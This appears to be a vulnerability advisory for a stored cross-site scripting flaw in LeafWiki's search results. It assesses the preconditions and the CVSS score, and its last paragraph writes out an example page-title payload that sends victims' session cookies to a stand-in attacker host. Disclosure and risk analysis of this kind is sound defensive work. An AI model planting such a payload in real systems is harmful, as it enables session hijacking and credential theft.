LeafWiki EUVD-2026-64178

The attacker must hold editor or administrator permissions on the target LeafWiki instance in order to create or modify a page title containing the malicious payload - this is the primary gating condition. A victim must then perform a search query that causes the malicious page title to appear in the rendered search results; the XSS does not trigger on page view alone. In deployments running with --public-access enabled, unauthenticated visitors performing searches are also viable victims. In authenticated-only deployments (the default mode), only logged-in users who can access search results can be affected. Exploitation is therefore limited by: (1) attacker must already hold privileged wiki credentials, and (2) victim must actively issue a matching search query.

The CVSS 4.0 score of 4.8 (Medium) is well-calibrated for this vulnerability. The PR:L metric correctly reflects that payload planting requires editor or admin credentials - this is not a spray-and-pray flaw. UI:A requires the victim to actively perform a search, reducing opportunistic exploitation. The impact metrics (SC:L/SI:L) reflect that the vulnerable system (the wiki server) is unaffected; harm occurs in the victim's browser context (session hijack, credential theft, UI redress). No KEV listing and no reported POC mean active exploitation is unconfirmed. EPSS data was not provided. The --public-access deployment mode meaningfully elevates real-world risk in those instances by expanding the victim pool to unauthenticated visitors, though the attacker-side prerequisite (editor access) remains unchanged. This is a genuine medium-severity issue warranting prompt patching, not an emergency. The limiting factor is insider-threat framing: the attacker must already hold trusted wiki credentials.

An attacker who has obtained editor credentials (e.g., via credential stuffing, a compromised account, or insider access) creates or edits a LeafWiki page with a title such as Welcome<script>document.location='https://attacker.example/steal?c='+document.cookie</script>. When a victim user (or unauthenticated visitor if --public-access is on) searches for any term that matches that page title, the search results page renders the payload, triggering session cookie exfiltration. No public proof-of-concept code has been identified, but the technique is trivial for anyone familiar with basic XSS.